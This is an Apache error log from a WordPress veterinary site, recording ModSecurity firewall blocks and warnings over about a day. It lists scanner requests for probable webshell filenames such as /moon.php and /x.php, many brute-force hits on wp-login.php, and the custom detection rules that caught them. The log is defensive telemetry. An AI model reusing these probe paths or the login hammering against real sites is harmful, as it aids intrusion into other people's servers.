[Tue Jan 13 21:43:00.853706 2026] [:error] [pid 22426:tid 22468] [client 4.241.185.221:42892] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w-1.php"] [unique_id "aWZL5Ny1Q5toryYTHgO92gAAAMo"]
[Tue Jan 13 21:43:01.631322 2026] [:error] [pid 22425:tid 22436] [client 4.241.185.221:50109] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "aWZL5XLEE_SEuOZ0WBT9nAAAAIU"]
[Tue Jan 13 21:43:03.035166 2026] [:error] [pid 22425:tid 22451] [client 4.241.185.221:48594] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "aWZL53LEE_SEuOZ0WBT9nQAAAJQ"]
[Tue Jan 13 21:43:05.482615 2026] [:error] [pid 27597:tid 27605] [client 4.241.185.221:42782] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "aWZL6T8Db8v8HoJ3n4ANiQAAAAY"]
[Tue Jan 13 21:43:06.745495 2026] [:error] [pid 22389:tid 22398] [client 4.241.185.221:42920] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "aWZL6iLIB_8b411qalJaEwAAAUc"]
[Tue Jan 13 21:43:08.125954 2026] [:error] [pid 27597:tid 27607] [client 4.241.185.221:42793] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aWZL7D8Db8v8HoJ3n4ANigAAAAg"]
[Tue Jan 13 21:43:09.938208 2026] [:error] [pid 22425:tid 22439] [client 4.241.185.221:49920] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aWZL7XLEE_SEuOZ0WBT9oQAAAIg"]
[Tue Jan 13 21:43:10.490886 2026] [:error] [pid 48179:tid 48200] [client 4.241.185.221:45785] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aWZL7tQk65iAmQjH7ZSTwAAAAhM"]
[Tue Jan 13 21:43:11.521902 2026] [:error] [pid 22426:tid 22465] [client 4.241.185.221:14266] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aWZL79y1Q5toryYTHgO-BgAAAMc"]
[Tue Jan 13 21:43:12.168454 2026] [:error] [pid 27597:tid 27601] [client 4.241.185.221:47611] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aWZL8D8Db8v8HoJ3n4ANjgAAAAI"]
[Tue Jan 13 21:43:13.471108 2026] [:error] [pid 48179:tid 48197] [client 4.241.185.221:42785] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aWZL8dQk65iAmQjH7ZSTwwAAAhA"]
[Tue Jan 13 21:43:14.857202 2026] [:error] [pid 22389:tid 22391] [client 4.241.185.221:44938] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aWZL8iLIB_8b411qalJaIAAAAUA"]
[Tue Jan 13 21:43:17.025226 2026] [:error] [pid 22389:tid 22404] [client 4.241.185.221:45074] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aWZL9SLIB_8b411qalJaJAAAAU0"]
[Tue Jan 13 21:43:18.571501 2026] [:error] [pid 22389:tid 22403] [client 4.241.185.221:45396] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aWZL9iLIB_8b411qalJaJgAAAUw"]
[Tue Jan 13 21:43:20.193957 2026] [:error] [pid 22389:tid 22396] [client 4.241.185.221:45377] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aWZL-CLIB_8b411qalJaKQAAAUU"]
[Tue Jan 13 21:43:21.993517 2026] [:error] [pid 22425:tid 22453] [client 4.241.185.221:13915] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aWZL-XLEE_SEuOZ0WBT9rQAAAJY"]
[Tue Jan 13 21:43:23.202684 2026] [:error] [pid 22485:tid 22493] [client 4.241.185.221:13905] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aWZL-xzzbghmKib9ie_9BQAAAYY"]
[Tue Jan 13 21:43:24.174087 2026] [:error] [pid 22426:tid 22474] [client 4.241.185.221:45061] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-widgets.php"] [unique_id "aWZL_Ny1Q5toryYTHgO-DwAAANA"]
[Tue Jan 13 21:43:26.230491 2026] [:error] [pid 22426:tid 22480] [client 4.241.185.221:43242] [client 4.241.185.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-widgets.php"] [unique_id "aWZL_ty1Q5toryYTHgO-EgAAANY"]
[Tue Jan 13 21:44:04.321203 2026] [autoindex:error] [pid 33727:tid 33743] [client 4.241.185.221:45376] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Jan 13 21:44:04.440805 2026] [autoindex:error] [pid 33727:tid 33729] [client 4.241.185.221:45376] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/cache/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Jan 13 21:44:04.565587 2026] [autoindex:error] [pid 33727:tid 33731] [client 4.241.185.221:45376] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Jan 13 22:14:06.039186 2026] [:error] [pid 22389:tid 22411] [client 43.166.255.102:38786] [client 43.166.255.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aWZTLiLIB_8b411qalJdhgAAAVQ"]
[Tue Jan 13 22:56:29.340520 2026] [:error] [pid 63844:tid 63912] [client 45.33.29.200:60522] [client 45.33.29.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.33.29.200, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWZdHUL9rjD8EK1UiLnlFQAAAMs"]
[Tue Jan 13 23:35:51.404968 2026] [:error] [pid 63843:tid 63897] [client 159.223.217.167:48908] [client 159.223.217.167] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.217.167, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWZmV4qxEwB7D1-DxXe-HgAAAJc"]
[Wed Jan 14 00:18:22.370104 2026] [:error] [pid 25809:tid 25825] [client 49.7.227.204:55282] [client 49.7.227.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aWZwTo9SDqNJ9R9VfZDjpAAAAE4"]
[Wed Jan 14 00:36:18.355620 2026] [:error] [pid 63844:tid 63917] [client 191.252.92.249:35874] [client 191.252.92.249] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 191.252.92.249, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWZ0gkL9rjD8EK1UiLkF3wAAANA"]
[Wed Jan 14 01:33:41.331959 2026] [:error] [pid 63843:tid 63891] [client 159.69.14.149:58858] [client 159.69.14.149] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.69.14.149, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWaB9YqxEwB7D1-DxXfjngAAAJE"]
[Wed Jan 14 01:49:32.057981 2026] [autoindex:error] [pid 63844:tid 63924] [client 4.217.232.162:18287] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Wed Jan 14 01:49:54.584845 2026] [autoindex:error] [pid 43494:tid 43509] [client 4.217.232.162:40698] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Wed Jan 14 01:50:00.029745 2026] [autoindex:error] [pid 63844:tid 63921] [client 4.217.232.162:18287] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Wed Jan 14 01:50:00.175235 2026] [autoindex:error] [pid 63844:tid 63919] [client 4.217.232.162:18287] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Wed Jan 14 01:50:01.607498 2026] [:error] [pid 63844:tid 63901] [client 4.217.232.162:18287] [client 4.217.232.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aWaFyUL9rjD8EK1UiLkZEQAAAMA"], referer: https://www.bing.com/
[Wed Jan 14 01:50:01.885248 2026] [autoindex:error] [pid 43385:tid 43420] [client 4.217.232.162:25484] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Wed Jan 14 01:50:02.020402 2026] [:error] [pid 43385:tid 43411] [client 4.217.232.162:25484] [client 4.217.232.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/buttons/index.php"] [unique_id "aWaFysFJIMneckmN0mrvCgAAAQ8"], referer: https://duckduckgo.com/
[Wed Jan 14 01:50:02.305900 2026] [:error] [pid 25809:tid 25823] [client 4.217.232.162:30648] [client 4.217.232.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/gallery/index.php"] [unique_id "aWaFyo9SDqNJ9R9VfZAGDwAAAEw"], referer: https://www.bing.com/
[Wed Jan 14 01:50:02.603261 2026] [:error] [pid 63842:tid 63852] [client 4.217.232.162:22071] [client 4.217.232.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/list-item/index.php"] [unique_id "aWaFym0zPTD54ET7u1ku2gAAAUY"], referer: https://www.google.de/
[Wed Jan 14 01:50:02.873644 2026] [:error] [pid 63842:tid 63863] [client 4.217.232.162:42703] [client 4.217.232.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/media-text/index.php"] [unique_id "aWaFym0zPTD54ET7u1ku2wAAAVE"], referer: https://www.yahoo.com/
[Wed Jan 14 01:50:03.145482 2026] [:error] [pid 25809:tid 25828] [client 4.217.232.162:34465] [client 4.217.232.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/nextpage/index.php"] [unique_id "aWaFy49SDqNJ9R9VfZAGEAAAAFE"], referer: https://www.google.fr/
[Wed Jan 14 01:50:03.423314 2026] [:error] [pid 43385:tid 43414] [client 4.217.232.162:22402] [client 4.217.232.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/search/index.php"] [unique_id "aWaFy8FJIMneckmN0mrvDwAAARI"], referer: https://www.google.co.uk/
[Wed Jan 14 01:50:03.711889 2026] [:error] [pid 25809:tid 25827] [client 4.217.232.162:22079] [client 4.217.232.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "aWaFy49SDqNJ9R9VfZAGEQAAAFA"], referer: https://www.google.com/
[Wed Jan 14 01:50:03.982928 2026] [:error] [pid 63843:tid 63884] [client 4.217.232.162:48390] [client 4.217.232.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aWaFy4qxEwB7D1-DxXfndAAAAIo"], referer: https://duckduckgo.com/
[Wed Jan 14 01:50:04.259783 2026] [:error] [pid 63842:tid 63857] [client 4.217.232.162:45898] [client 4.217.232.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aWaFzG0zPTD54ET7u1ku3AAAAUs"], referer: https://www.yahoo.com/
[Wed Jan 14 01:51:51.001742 2026] [:error] [pid 63931:tid 63942] [client 106.219.166.195:10981] [client 106.219.166.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.219.166.195, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aWaGN9VnG0cQj3cwmW9S8wAAAAk"], referer: https://vetstars.com.au/
[Wed Jan 14 02:27:33.473493 2026] [:error] [pid 63931:tid 63946] [client 43.164.197.224:60418] [client 43.164.197.224] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aWaOldVnG0cQj3cwmW9glAAAAA0"]
[Wed Jan 14 02:33:23.812687 2026] [:error] [pid 63931:tid 63940] [client 147.135.95.225:34092] [client 147.135.95.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 147.135.95.225, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWaP89VnG0cQj3cwmW9i-gAAAAc"]
[Wed Jan 14 03:56:41.845492 2026] [:error] [pid 24603:tid 24681] [client 18.118.108.129:53050] [client 18.118.108.129] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.118.108.129, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWajeZPBJGFGN8VT8_SRrwAAAJA"]
[Wed Jan 14 04:24:10.145422 2026] [:error] [pid 24710:tid 24733] [client 220.132.7.82:51674] [client 220.132.7.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 220.132.7.82, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWap6mXBo5bEhDEEhs1RoQAAANU"]
[Wed Jan 14 05:22:20.276914 2026] [:error] [pid 58901:tid 58940] [client 193.176.78.123:52708] [client 193.176.78.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.176.78.123, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWa3jL3kQSrcqIWtO0omQAAAAco"]
[Wed Jan 14 06:21:19.007303 2026] [:error] [pid 59074:tid 59091] [client 195.201.83.173:48536] [client 195.201.83.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.201.83.173, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWbFX0_KrJ818pzhB3xuvQAAAk8"]
[Wed Jan 14 06:38:02.200898 2026] [:error] [pid 24710:tid 24720] [client 182.44.67.97:50527] [client 182.44.67.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aWbJSmXBo5bEhDEEhs12NAAAAMg"]
[Wed Jan 14 06:43:28.711017 2026] [ssl:error] [pid 24603:tid 24667] [client 72.11.155.223:55312] AH02032: Hostname www.macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: http://www.macfieldsvet.com.au/
[Wed Jan 14 07:21:13.664523 2026] [:error] [pid 59074:tid 59087] [client 46.62.235.243:41934] [client 46.62.235.243] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.62.235.243, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWbTaU_KrJ818pzhB3x4TQAAAks"]
[Wed Jan 14 08:13:55.813816 2026] [:error] [pid 19188:tid 19241] [client 49.12.218.177:52826] [client 49.12.218.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 49.12.218.177, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aWbfw54gjaoWMKiTtXtHagAAAVU"]
